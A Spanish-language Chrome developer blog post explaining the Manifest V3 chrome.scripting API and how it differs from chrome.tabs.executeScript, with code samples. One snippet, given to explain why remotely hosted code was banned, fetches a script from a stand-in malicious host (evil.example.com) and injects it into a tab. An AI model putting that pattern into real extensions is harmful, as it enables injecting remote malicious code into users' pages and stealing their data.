Presentación de chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 presenta una serie de cambios en la plataforma de extensiones de Chrome. En esta entrada, exploraremos las motivaciones y los cambios que introdujo uno de los cambios más notables: la introducción de la API de chrome.scripting.

¿Qué es chrome.scripting?

Como su nombre lo indica, chrome.scripting es un nuevo espacio de nombres que se introdujo en Manifest V3 y que es responsable de las funciones de inserción de secuencias de comandos y estilos.

Es posible que los desarrolladores que crearon extensiones de Chrome en el pasado estén familiarizados con los métodos de Manifest V2 en la API de Tabs, como chrome.tabs.executeScript y chrome.tabs.insertCSS. Estos métodos permiten que las extensiones inserten secuencias de comandos y hojas de estilo en las páginas, respectivamente. En Manifest V3, estas funciones se movieron a chrome.scripting y planeamos expandir esta API con algunas funciones nuevas en el futuro.

¿Por qué crear una API nueva?

Con un cambio como este, una de las primeras preguntas que suele surgir es “¿por qué?”.

El equipo de Chrome decidió implementar un nuevo espacio de nombres para la secuencia de comandos debido a diferentes factores. En primer lugar, la API de Tabs es un poco un cajón de sastre para las funciones. En segundo lugar, necesitábamos realizar cambios rotundos en la API de executeScript existente. En tercer lugar, sabíamos que queríamos expandir las capacidades de secuencias de comandos para las extensiones. En conjunto, estas inquietudes definieron claramente la necesidad de un nuevo espacio de nombres para alojar capacidades de secuencias de comandos.

El cajón de los trastos

Uno de los problemas que ha molestado al equipo de Extensiones durante los últimos años es que la API de chrome.tabs está sobrecargada. Cuando se introdujo esta API por primera vez, la mayoría de las funciones que proporcionaba estaban relacionadas con el concepto amplio de una pestaña del navegador. Sin embargo, incluso en ese momento, era un poco un conjunto de funciones, y con los años, esta colección solo creció.

Cuando se lanzó el manifiesto V3, la API de Tabs ya abarcaba la administración básica de pestañas, la administración de selecciones, la organización de ventanas, los mensajes, el control de zoom, la navegación básica, la escritura de secuencias de comandos y algunas otras funciones menores. Si bien todos estos pasos son importantes, puede resultar abrumador para los desarrolladores que comienzan a usarla y para el equipo de Chrome, ya que mantenemos la plataforma y consideramos las solicitudes de la comunidad de desarrolladores.

Otro factor complicado es que no se comprende bien el permiso tabs. Si bien muchos otros permisos restringen el acceso a una API determinada (p.ej., storage), este permiso es un poco inusual, ya que solo otorga a la extensión acceso a propiedades sensibles en instancias de pestaña (y, por extensión, también afecta a la API de Windows). Es comprensible que muchos desarrolladores de extensiones piensen por error que necesitan este permiso para acceder a métodos en la API de Tabs, como chrome.tabs.create o, de manera más precisa, chrome.tabs.executeScript. Quitar la funcionalidad de la API de Tabs ayuda a aclarar parte de esta confusión.

Cambios rotundos

Cuando diseñamos Manifest V3, uno de los problemas principales que queríamos abordar era el abuso y el software malicioso habilitado por el "código alojado de forma remota", que se ejecuta, pero no se incluye en el paquete de extensión. Es común que los autores de extensiones abusivas ejecuten secuencias de comandos recuperadas de servidores remotos para robar datos del usuario, inyectar software malicioso y evadir la detección. Si bien los buenos actores también usan esta capacidad, en última instancia, sentimos que era demasiado peligroso para permanecer como era.

Existen varias formas diferentes en que las extensiones pueden ejecutar código sin empaquetar, pero la más relevante es el método chrome.tabs.executeScript de Manifest V2. Este método permite que una extensión ejecute una cadena arbitraria de código en una pestaña de destino. Esto, a su vez, significa que un desarrollador malicioso puede recuperar una secuencia de comandos arbitraria de un servidor remoto y ejecutarla dentro de cualquier página a la que la extensión pueda acceder. Sabíamos que, si queríamos solucionar el problema del código remoto, tendríamos que descartar esta función.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

También queríamos solucionar otros problemas más sutiles con el diseño de la versión de Manifest V2, y hacer que la API fuera una herramienta más pulida y predecible.

Si bien podríamos haber cambiado la firma de este método en la API de Tabs, sentimos que entre estos cambios rotundos y la introducción de nuevas capacidades (que tratamos en la siguiente sección), una pausa limpia sería más fácil para todos.

Ampliación de las capacidades de secuencias de comandos

Otra consideración que se incorporó al proceso de diseño de Manifest V3 fue el deseo de agregar capacidades de secuencia de comandos adicionales a la plataforma de extensiones de Chrome. Específicamente, queríamos agregar compatibilidad con secuencias de comandos de contenido dinámico y expandir las capacidades del método executeScript.

La compatibilidad con las secuencias de comandos de contenido dinámico es una de las más solicitadas en Chromium. En la actualidad, las extensiones de Chrome de Manifest V2 y V3 solo pueden declarar secuencias de comandos de contenido de forma estática en su archivo manifest.json. La plataforma no proporciona una forma de registrar nuevas secuencias de comandos de contenido, ajustar el registro de secuencias de comandos de contenido ni cancelar su registro en el tiempo de ejecución.

Si bien sabíamos que queríamos abordar esta solicitud de función en el manifiesto V3, ninguna de nuestras APIs existentes parecía ser la adecuada. También consideramos integrarnos con Firefox en su API de Content Scripts, pero muy pronto identificamos algunas desventajas importantes de este enfoque. Primero, sabíamos que tendríamos firmas incompatibles (p.ej., eliminación de la compatibilidad con la propiedad code). En segundo lugar, nuestra API tenía un conjunto diferente de restricciones de diseño (p. ej., la necesidad de un registro para persistir más allá de la vida útil de un trabajador de servicio). Por último, este espacio de nombres también nos permitiría a la funcionalidad de secuencia de comandos de contenido, en la que estamos pensando en la escritura de secuencias de comandos en extensiones de manera más amplia.

En el caso de executeScript, también queríamos expandir lo que esta API podía hacer más allá de lo que admitía la versión de la API de Tabs. Más específicamente, queríamos admitir funciones y argumentos, segmentar con mayor facilidad marcos específicos y segmentar contextos que no sean de "pestañas".

En el futuro, también consideraremos cómo las extensiones pueden interactuar con los AWP instalados y otros contextos que no se asignan de forma conceptual a "pestañas".

Cambios entre tab.executeScript y scripting.executeScript

En el resto de esta publicación, me gustaría analizar con más detalle las similitudes y diferencias entre chrome.tabs.executeScript y chrome.scripting.executeScript.

Cómo insertar una función con argumentos

Al considerar cómo debería evolucionar la plataforma ante las restricciones de código alojado de forma remota, queríamos encontrar un equilibrio entre el poder sin procesar de la ejecución de código arbitrario y solo permitir secuencias de comandos de contenido estático. La solución que decimos fue permitir que las extensiones inyecten una función como una secuencia de comandos de contenido y pasen un array de valores como argumentos.

Veamos un ejemplo (muy simplificado). Supongamos que queremos insertar una secuencia de comandos que salude al usuario por su nombre cuando este hace clic en el botón de acción de la extensión (ícono de la barra de herramientas). En Manifest V2, podíamos construir de forma dinámica una cadena de código y ejecutar esa secuencia de comandos en la página actual.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Si bien las extensiones de Manifest V3 no pueden usar código que no esté incluido en la extensión, nuestro objetivo era preservar parte del dinamismo que los bloques de código arbitrarios habilitaban para las extensiones de Manifest V2. El enfoque de funciones y argumentos permite que los revisores de Chrome Web Store, los usuarios y otras partes interesadas evalúen con mayor precisión los riesgos que representa una extensión y, al mismo tiempo, permite que los desarrolladores modifiquen el comportamiento del tiempo de ejecución de una extensión en función de la configuración del usuario o el estado de la aplicación.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Marcos de segmentación

También queríamos mejorar la forma en que los desarrolladores interactúan con los fotogramas en la API revisada. La versión V2 del manifiesto de executeScript permitía a los desarrolladores segmentar todos los fotogramas de una pestaña o un fotograma específico en la pestaña. Puedes usar chrome.webNavigation.getAllFrames para obtener una lista de todos los marcos de una pestaña.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

En el manifiesto v3, reemplazamos la propiedad opcional de número entero frameId en el objeto de opciones por un array opcional de números enteros frameIds. Esto permite que los desarrolladores segmenten varios fotogramas en una sola llamada a la API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Resultados de la inserción de secuencias de comandos

También mejoramos la forma en que mostramos los resultados de la inserción de secuencias de comandos en Manifest V3. Un "resultado" es, básicamente, la sentencia final que se evalúa en una secuencia de comandos. Considéralo como el valor que se muestra cuando llamas a eval() o ejecutas un bloque de código en la consola de Herramientas para desarrolladores de Chrome, pero serializado para pasar los resultados entre procesos.

En Manifest V2, executeScript y insertCSS mostrarían un array de resultados de ejecución simple. Esto está bien si solo tienes un punto de inyección único, pero no se garantiza el orden del resultado cuando se inyecta en varios fotogramas, por lo que no hay forma de saber qué resultado está asociado con qué fotograma.

A modo de ejemplo, veamos los arrays results que muestran una versión de Manifest V2 y una de Manifest V3 de la misma extensión. Ambas versiones de la extensión insertarán la misma secuencia de comandos de contenido y compararemos los resultados en la misma página de demostración.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Cuando ejecutamos la versión del manifiesto V2, obtenemos un array de [1, 0, 5]. ¿Qué resultado corresponde al marco principal y cuál al iframe? El valor que se muestra no nos indica, por lo que no lo sabemos con seguridad.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

En la versión Manifest V3, results ahora contiene un array de objetos de resultado en lugar de un array solo de los resultados de la evaluación, y los objetos de resultado identifican claramente el ID del fotograma para cada resultado. Esto permite que los desarrolladores usen el resultado y realicen acciones en un fotograma específico con mucha más facilidad.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Conclusión

Los cambios en la versión del manifiesto presentan una oportunidad poco común para repensar y modernizar las APIs de extensiones. Nuestro objetivo con el manifiesto V3 es mejorar la experiencia del usuario final haciendo que las extensiones sean más seguras y, al mismo tiempo, mejorar la experiencia del desarrollador. Cuando presentamos chrome.scripting en Manifest V3, pudimos ayudar a limpiar la API de Tabs, a reinventar executeScript para una plataforma de extensiones más segura y a sentar las bases para las nuevas capacidades de escritura de secuencias de comandos que se lanzarán más adelante este año.